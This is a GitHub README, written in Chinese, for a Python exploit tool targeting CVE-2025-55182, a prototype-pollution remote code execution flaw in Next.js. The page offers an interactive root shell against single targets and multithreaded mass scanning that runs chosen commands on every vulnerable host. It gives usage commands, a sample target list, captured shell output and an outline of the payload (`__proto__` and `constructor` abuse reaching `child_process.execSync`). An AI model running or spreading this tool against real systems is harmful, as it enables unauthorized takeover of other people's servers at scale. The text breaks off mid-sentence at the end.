Jenderal92/CVE-2025-55182-React2shell
GitHub: Jenderal92/CVE-2025-55182-React2shell
一个用 Python 编写的 CVE-2025-55182 漏洞利用工具,用于检测和利用 Next.js 原型污染导致的 RCE 漏洞。
Stars: 6 | Forks: 1
# CVE-2025-55182 - React2shell
一个用于 **CVE-2025-55182** 的 Python 2.7 exploit —— 这是 Next.js 应用程序中一个严重的原型污染 / RCE 漏洞。
该工具支持**单目标交互式 shell** 和对多个主机的**批量扫描**,具备多线程、彩色输出以及自动 HTTPS 回退功能。
## 🚀 功能
- ✅ **交互式 Shell**(针对单目标)—— 可执行任意系统命令
- ✅ **批量扫描**(基于文件列表)—— 支持多线程,速度快,自动保存结果
- ✅ **自动检测** —— 单个 URL 触发 shell 模式,存在文件则触发批量扫描模式
- ✅ **自动 HTTPS** —— 如果未提供协议,会自动添加 `https://`
- ✅ **线程安全的文件写入** —— 实时保存存在漏洞的结果
- ✅ **自定义命令** —— 可将默认的 `id` 修改为任何命令(`whoami`、`ls` 等)
- ✅ **无外部依赖** —— 仅需 `requests`(易于安装)
## 📋 环境要求
- **Python 2.7**(该工具专门为 Python 2.7 编写)
- `requests` 库 —— 使用以下命令安装:
pip install requests
· 支持 ANSI 颜色的终端(大多数 Linux/macOS 终端、Windows Terminal、PowerShell 均可)
📦 安装
```
git clone https://github.com/Jenderal92/cve-2025-55182.git
cd CVE-2025-55182
pip install requests
```
赋予脚本可执行权限(可选):
```
chmod +x CVE-2025-55182.py
```
🎯 使用方法
1. 交互式 Shell(单目标)
```
python2 CVE-2025-55182.py https://target.com
```
或不带协议(将自动添加 HTTPS):
```
python2 CVE-2025-55182.py target.com
```
一旦连接并确认存在漏洞,您将获得一个 shell 提示符:
```
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root
$ ls -la
...
```
内置命令:
· exit / quit —— 关闭 shell
· clear —— 清除屏幕
· help —— 显示帮助
2. 批量扫描(目标列表)
准备一个文件,每行一个目标(包含或不包含 http/https 均可):
targets.txt
```
app-site3.htface.tech
https://example.com
http://127.0.0.1:3000
vulnerable-site.org
```
运行批量扫描(默认:10 个线程,命令为 id,输出至 res.txt):
```
python2 CVE-2025-55182.py targets.txt
```
自定义线程数、命令和输出文件:
```
python2 CVE-2025-55182.py targets.txt 20 "whoami" results.txt
```
· 20 —— 线程数
· whoami —— 在每个存在漏洞的目标上执行的命令
· results.txt —— 输出文件(仅保存存在漏洞的条目)
批量扫描输出示例:
```
[INFO] Loaded 4 URLs
[INFO] Threads: 10, Command: 'id', Output: res.txt
[*] (1/4) Checking: https://site.com
[+] VULNERABLE: https://site.com
Status: 303
Output: uid=0(root) gid=0(root) groups=0(root)
[-] NOT VULNERABLE: https://example.com
...
```
保存的结果 (res.txt):
```
domain : https://site.com
cmd : uid=0(root) gid=0(root) groups=0(root)
--------------------------------------------------
```
🧪 工作原理
该 exploit 会向 Next.js endpoint 发送一个特制的 multipart/form-data 请求(如果路径为空,则会自动追加 /login)。
它滥用原型污染(`__proto__:then` 和 `constructor:constructor`)来注入一个恶意的 prefix,从而使用 `child_process.execSync()` 执行系统命令。
服务器会返回一个包含命令输出的 303 重定向(位于 `x-action-redirect` header 或 `Location` 中)。该工具会从 `/login?a=
标签:Python, XXE攻击, 无后门, 无服务器架构, 远程命令执行